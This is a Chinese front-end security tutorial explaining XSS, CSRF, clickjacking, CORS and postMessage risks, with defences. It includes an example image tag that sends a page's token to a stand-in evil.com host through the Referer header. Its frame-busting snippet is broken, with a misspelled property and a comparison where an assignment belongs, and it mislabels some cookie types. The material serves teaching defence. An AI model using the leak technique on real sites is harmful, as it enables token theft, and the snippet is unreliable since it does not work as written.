天天看點

你必須要知道的4個前端安全編碼規範

前言

随着網際網路高速的發展,資訊安全已經成為企業重點關注焦點之一,而前端又是引發安全問題的高危據點,是以,作為一個前端開發人員,需要了解前端的安全問題,以及如何去預防、修複安全漏洞。下面就以前端可能受到的攻擊方式為起點,講解web中可能存在的安全漏洞以及如何去檢測這些安全漏洞,如何去防範潛在的惡意攻擊。

1. 跨站腳本攻擊(Cross Sites Script)

跨站腳本攻擊,Cross Site Script(簡稱 CSS或)。指黑客通過“HTML注入”篡改了網頁,插入了惡意的腳本(主要是JavaScript腳本),進而在使用者浏覽網頁時,控制使用者浏覽器的一種攻擊。

了解了什麼是XSS,那你一定想知道,它有什麼危害以及如何去防禦 這裡羅列一張清單:

  • 挂馬
  • 盜取使用者Cookie。
  • 釣魚攻擊,進階的釣魚技巧。
  • 删除目标文章、惡意篡改資料、嫁禍。
  • 劫持使用者Web行為,甚至進一步滲透内網。
  • 爆發Web2.0蠕蟲。
  • 蠕蟲式挂馬攻擊、刷廣告、刷浏量、破壞網上資料
  • 其它安全問題

常見的跨站腳本攻擊也可分為:反射型XSS、存儲型XSS、DOM Based XSS 下面針對這三種常見的類型做具體的分析

1.1 反射型XSS--也可被稱為是HTML注入

反射型XSS,也稱為"非持久型XSS"簡單的把使用者輸入的資料"反射"給浏覽器,即黑客往往需要誘使使用者"點選"一個惡意連結攻擊才能成功,使用者通過點選這個惡意連結,攻擊者可以成功擷取使用者隐私資料的一種方式。如:"盜取使用者Cookie資訊"、"破壞頁面結構"、"重定向到其他網站",盜取内網IP等。 
      

那麼既然反射型XSS也可以是HTML注入,那麼它注入的關鍵自然也就從前端的HTML頁面開始下手:

1. 使用者能夠與浏覽器頁面産生互動動作(輸入搜尋的關鍵詞,點選按鈕,點選連結等等),但這些都需要去誘使使用者去操作,說起來容易,做起來難。
2. 使用者輸入的資料會被攻擊方拼接出合适的html去執行惡意的js腳本,這樣的過程就像是"一次反射"
      

1.2 存儲型XSS

存儲型XSS,也稱為"`持久型XSS`",它與`反射型XSS`不同之處在于,它會将使用者輸入的資料"存儲"在攻擊方的伺服器上,具有很強的"穩定性"。
例如:通路某黑客寫下的一篇含有惡意JavaScript代碼的部落格文章,黑客把惡意腳本儲存到服務端。
      

1.3 DOM based XSS

從效果上來說,也是"反射型XSS",單獨劃分出來,是因為其形成是通過修改頁面的"DOM節點"形成的XSS。
例如:通過修改DOM節點上的綁定方法,使用者無意間通過點選、輸入等行為執行這些方法擷取到使用者的相關資訊
      

1.4 如何去檢測是否存在XSS

一般方法是,使用者可以在有關鍵字輸入搜尋的地方輸入****後點選搜尋,若彈框出現展示123,說明存在XSS漏洞,這就說明前端并沒有對使用者輸入的内容過濾處理。

1.5 XSS的攻擊方式

1.Cookie劫持

通過僞裝一些`圖檔和按鈕`等,誘使使用者對其操作,使網頁執行了攻擊者的惡意腳本,使攻擊者能夠擷取目前使用者的Cookie資訊
      

2.構造GET和POST請求

若某攻擊者想删除某網站的一篇文章,首先獲得目前文章的id,然後通過使用腳本`插入圖檔`發送一個`GET請求`,或`構造表單`,`XMLHTTPRequest`發送`POST請求`以達到删除該文章的目的
      

3.XSS釣魚

`釣魚`這個詞一般認識是起源于`社會工程學`,黑客使用這個這門學科的理念思想,在未授權不知情的情況下誘騙使用者,并得到對方對方的姓名、年齡、郵箱賬号、甚至是銀行卡密碼等私人資訊。

比如:"某使用者在某網站(已被攻擊)上操作黑客僞造的一個登入框,當使用者在登入框中輸入了使用者名(這裡可能是身份證号等)和密碼之後,将其資訊上傳至黑客的伺服器上(該使用者的資訊就已經從該網站洩漏)"
      

4.擷取使用者真實的IP位址

通過第三方軟體擷取,比如用戶端安裝了Java環境(JRE),則可通過調用`Java Applet`的接口擷取用戶端本地的IP位址
      

1.6 XSS的防禦方式

1.HttpOnly

原理:浏覽器禁止頁面的Javascript通路帶有HttpOnly屬性的cookie。(實質解決的是:XSS後的cookie劫持攻擊)如今已成為一種“标準”的做法

解決方案:
JavaEE給Cookie添加HttpOnly的方式為:
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");
      

2.輸入檢查(XSS Filter)

原理:讓一些基于特殊字元的攻擊失效。(常見的Web漏洞如XSS、SQLInjection等,都要求攻擊者構造一些特殊字元)
* 輸入檢查的邏輯,必須在服務端實作,因為用戶端的檢查也是很容易被攻擊者繞過,現有的普遍做法是兩端都做同樣的檢查,用戶端的檢查可以阻擋大部分誤操作的正常使用者,進而節約伺服器的資源。

解決方案:
檢查是否包含"JavaScript","<script></script>"等敏感字元。以及對字元串中的<>:"&/'等特殊字元做處理
      

3.輸出檢查

原理:一般來說除了富文本輸出之外,在變量輸出到HTML頁面時,使用編碼或轉義的方式來防禦XSS攻擊

解決方案:
*   針對HTML代碼的編碼方式:HtmlEncode
*   PHP:htmlentities()和htmlspecialchars()兩個函數
*   Javascript:JavascriptEncode(需要使用""對特殊字元進行轉義,同時要求輸出的變量必須在引号内部)
*   在URL的path(路徑)或者search(參數)中輸出,使用URLEncode
      

4.更嚴格的做法

除了數字和字母外的所有字元,都使用十六進制的方式進行編碼
      

2. 跨站點請求僞造(Cross Sites Request Forgery)

跨站點請求僞造,指利用使用者身份操作使用者賬戶的一種攻擊方式,即攻擊者誘使使用者通路一個頁面,就以該使用者身份在第三方有害站點中執行了一次操作,洩露了使用者的身份資訊,接着攻擊者就可以使用這個僞造的,但真實存在的身份資訊,到某網站冒充使用者執行惡意操作。

但是,攻擊者隻有預測到URL的所有參數與參數值,才能成功地僞造一個請求(當然了,他可以在安全站點裡以自己的身份實際去操作一下,還是能拿到參數的);反之,攻擊者無法攻擊成功

下圖通俗解釋什麼是CSRF,又是如何給使用者帶來危害的

你必須要知道的4個前端安全編碼規範

參考上圖,我們可以總結,完成一次CSRF攻擊,必須滿足兩個條件

  • 使用者登入受信任網站A,并且在本地生成Cookie
  • 在不登出網站A的情況下,通路有害網站B

2.1 CSRF的原理

CSRF攻擊是攻擊者利用**`使用者身份`**操作使用者賬戶的一種攻擊方式

如電影速度與激情5中吉賽爾使用内褲擷取巴西大佬指紋,最後成功使用僞造指紋的手法打開保險櫃,CSRF隻不過是網絡上這個手法的實作。
      

2.2 CSRF的攻擊方式

1.浏覽器的Cookie政策

浏覽器所持有的政策一般分為兩種:
Session Cookie,臨時Cookie。儲存在浏覽器程序的記憶體中,浏覽器關閉了即失效。
Third-party Cookie,本地Cookie。伺服器在Set-Cookie時指定了Expire Time。過期了本地Cookie失效,則網站會要求使用者重新登入。
      

* 在浏覽網站的過程中,即使浏覽器打開了Tab頁,Session Cookie都是有效的,是以發起CSRF攻擊是可行的。

2.P3P頭的副作用

"P3P Header"是 "W3C" 制定的一項關于隐私的标準,全稱是 "The Platform for Privacy Preference"(隐私偏好平台)

如果網站傳回給浏覽器的 HTTP 頭包含有 P3P 頭,則在某種程度上來說,将允許 浏覽器發送第三方 Cookie。在 IE 下即使是"<iframe>"、`<script>`等标簽頁将不再攔截第三方 Cookie 的發送。主要應用在類似廣告等需要跨域通路的頁面。
      

3.GET,POST請求

* 這裡有個誤區
大多數 CSRF 攻擊,都是通過 <img> 、 <iframe> 、 <script> 等帶 src 屬性的标簽,這類标簽隻能發送一次 GET 請求,而不能發送 POST 請求,由此也有了認為 CSRF 攻擊隻能由 GET 請求發起的錯誤觀點。

構造一個 POST 請求,隻需要在一個不可見的iframe視窗中,構造一個form表單,然後使用JavaScript自動送出這個表單。那麼整個自動送出表單的過程,對于使用者來說就是不可見的。
      

2.3 CSRF的防禦方式

1.驗證碼

原理:
CSRF攻擊過程中,使用者在不知情的情況下構造了網絡請求,添加驗證碼後,強制使用者必須與應用進行互動

*  優點:簡潔而有效
*  缺點:網站不能給所有的操作都加上驗證碼
      

2.Referer Check

原理:
* 利用HTTP頭中的Referer判斷請求來源是否合法
* Referer首部包含了目前請求頁面的來源頁面的位址,一般情況下Referer的來源頁就是發起請求的那個頁面,如果是在iframe中發起的請求,那麼對應的頁面URL就是iframe的src

*  優點:簡單易操作(隻需要在最後給所有安全敏感的請求統一添加一個攔截器來檢查Referer的值就行)
*  缺點:伺服器并非什麼時候都能取到Referer
        1.很多出于保護使用者隐私的考慮,限制了Referer的發送。
        2.比如從HTTPS跳轉到HTTP,出于安全的考慮,浏覽器不會發送Referer
      

3.使用Anti CSRF Token

原理:把參數加密,或者使用一些随機數,進而讓攻擊者無法猜測到參數值,也就無法構造請求的 URL,也就無法發起 CSRF 攻擊。

例子(增加token):
*  比如一個删除操作的URL是:`http://host/path/delete?uesrname=abc&item=123`
*  保持原參數不變,新增一個參數Token,Token值是随機的,不可預測
*  http://host/path/delete?username=abc&item=123&token=[random(seed)]

*  優點:比檢查Referer方法更安全,并且不涉及使用者隐私
*  缺點:
        加密
        1. 加密後的URL非常難讀,對使用者非常不友好
        2. 加密的參數每次都在改變,導緻使用者無法對頁面進行搜尋
        3. 普通參數也會被加密或哈希,将會給DBA工作帶來很大的困擾,因為資料分析常常需要用到參數的明文
        
        token
        1. 對所有的請求都添加Token比較困難
      

需要注意的點

  1. Token需要足夠随機,必須用足夠安全的随機數生成算法
  2. Token應該為使用者和伺服器所共同持有,不能被第三方知曉
  3. Token可以放在使用者的Session或者浏覽器的Cookie中
  4. 盡量把Token放在表單中,把敏感操作由GET改為POST,以form表單的形式送出,可以避免Token洩露(比如一個頁面:http://host/path/manage?username=abc&token=[random],在此頁面使用者需要在這個頁面送出表單或者單擊“删除”按鈕,才能完成删除操作,在這種場景下,如果這個頁面包含了一張攻擊者能指定位址的圖檔<img src="http://evil.com/notexist" />,則這個頁面位址會作為HTTP請求的Refer發送到evil.com的伺服器上,進而導緻Token洩露)

2.4 XSRF

當網站同時存在XSS和CSRF漏洞時,XSS可以模拟用戶端浏覽器執行任意操作,在XSS攻擊下,攻擊者完全可以請求頁面後,讀取頁面内容中的Token值,然後再構造出一個合法的請求

3. 點選劫持(ClickJacking)

點選劫持是一種視覺上的欺騙手段。攻擊者使用一個透明的、不可見的iframe,覆寫在一個網頁上,然後誘使使用者在網頁上進行操作,此時使用者将在不知情的情況下點選透明的iframe頁面。通過調整iframe頁面的位置,可以誘使使用者恰好點選在iframe頁面的一些功能性按鈕上。

比如,程式員小王在通路A網頁時,點選空白區域,浏覽器卻意外打開了xx新葡京賭場的頁面,于是他在A網頁打開控制台,在空白區域發現了一個透明的iframe,該iframe嵌入了一個第三方網頁的URL

3.1 點選劫持防禦方式

1.X-Frame-Options HTTP響應頭是用來給浏覽器訓示允許一個頁面能否在`<frame>、<iframe>、<object>`中展現的标記

#### 有三個可選的值
1.  DENY:浏覽器會拒絕目前頁面加載任何frame頁面(即使是相同域名的頁面也不允許)
2.  SAMEORIGIN:允許加載frame頁面,但是frame頁面的位址隻能為同源域名下的頁面
3.  ALLOW-FROM:可以加載指定來源的frame頁面(可以定義frame頁面的位址)

2.禁止iframe的嵌套
if(window.top.location !== window.loaction){window.top.location === window.self.location}
      

4. 其他安全問題

4.1 跨域問題處理

當服務端設定 'Access-Control-Allow-Origin' 時使用了通配符 "*",允許來自任意域的跨域請求,這是極其危險的

4.2 postMessage 跨視窗傳遞資訊

postMessage 允許每一個 window(包括目前視窗、彈出視窗、iframes等)對象往其他的視窗發送文本消息,進而實作跨視窗的消息傳遞。并且這個功能不受同源政策限制。

必要時,在接受視窗驗證 Domain,甚至驗證URL,以防止來自非法頁面的消息。實際上是在代碼上實作一次同源政策的驗證過程。接受視窗對接口的資訊進行安全檢查。

4.3 Web Storage

Web Storage 分為 Session Storage 和 Local Storage。

雖然受同源政策的限制,但當存有敏感資訊時,也可能會成為攻擊的目标。

5. 總結

  1. 謹慎使用者輸入資訊,進行輸入檢查(用戶端和服務端同時檢查)
  2. 在變量輸出到HTML頁面時,都應該進行編碼或轉義來預防XSS攻擊
  3. 該用驗證碼的時候一定要添上
  4. 盡量在重要請求上添加Token參數,注意Token要足夠随機,用足夠安全的随機數生成算法

6. 參考文獻

  1. 十大常見web漏洞及防範
  2. hyddd
  3. CSRF攻擊與防禦